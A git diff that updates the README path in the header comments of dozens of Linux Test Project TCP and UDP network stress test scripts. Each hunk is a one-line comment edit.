diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10
index d25d3f2..a878b7e 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11
index 982cb7e..fbc9e8f 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12
index 2e7dde1..6a9e74e 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13
index a284045..5d2bc29 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14
index b19731b..4ccb2fe 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01
index a5cd21c..9bd74de 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01
@@ -29,7 +29,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02
index 28898de..79f9e5f 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03
index 47d0a21..6f3b567 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04
index b4489ba..7b36ee6 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05
index 7e81341..0334fc8 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06
index 4d457f4..1ada543 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07
index 3fefc2e..3b492eb 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08
index 281a203..4c171f3 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08
@@ -30,7 +30,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09
index c3a565f..c2428e9 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10
index 6dcb018..ae6e3bd 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10
@@ -31,7 +31,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11
index 9a66121..fd0df7f 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12
index 3e12292..4ba8abe 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13
index 8249651..55ecf1f 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13
@@ -31,7 +31,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14 b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14
index 4723896..0d932c3 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14
+++ b/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01
index 8f9f92a..85dd24e 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01
@@ -40,7 +40,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02
index 3beab06..4674601 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02
@@ -29,7 +29,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03
index 2a856ec..a5f65ed 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03
@@ -29,7 +29,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04
index f349cf5..93856e4 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05
index f04ea57..591cfae 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06
index a1ad133..fdbd14f 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07
index 0953794..99cafd0 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07
@@ -29,7 +29,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08
index b41da86..6a5edf9 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08
@@ -29,7 +29,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09
index 5cce858..f3d39ec 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10
index 8b17bf2..d0b4097 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11
index da9aba2..d606cd9 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12
index 2910238..7e47d75 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13
index 6d26d1b..d24adb0 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14 b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14
index d04f5e8..845789d 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14
+++ b/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01
index 56a04aa..22bc08e 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01
@@ -29,7 +29,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02
index 0e5174e..1997f5f 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03
index 627426b..90915a2 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04
index 9d539c9..bcf717c 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05
index 4846ed5..61ce08c 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06
index 3f6eda3..792fb90 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07
index cd93583..16a1c02 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08
index 84520eb..c41d2e2 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08
@@ -30,7 +30,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09
index d9b20be..1dcf7ee 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10
index 37f63e1..95ba263 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10
@@ -31,7 +31,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11
index a3b12fa..6df2acb 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12
index 2e43ae7..6aa5b72 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13
index 0f0013c..4aa9f07 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13
@@ -31,7 +31,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14 b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14
index e29b3b5..22278c8 100644
--- a/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14
+++ b/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01 b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01
index 63783d1..92af9e4 100644
--- a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01
+++ b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01
@@ -33,7 +33,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02 b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02
index ca198f8..010915e 100644
--- a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02
+++ b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03 b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03
index d93a3de..1de52be 100644
--- a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03
+++ b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04 b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04
index f5daafd..e321096 100644
--- a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04
+++ b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05 b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05
index 8fb989c..f6cdeea 100644
--- a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05
+++ b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06 b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06
index c35f29c..f601385 100644
--- a/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06
+++ b/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
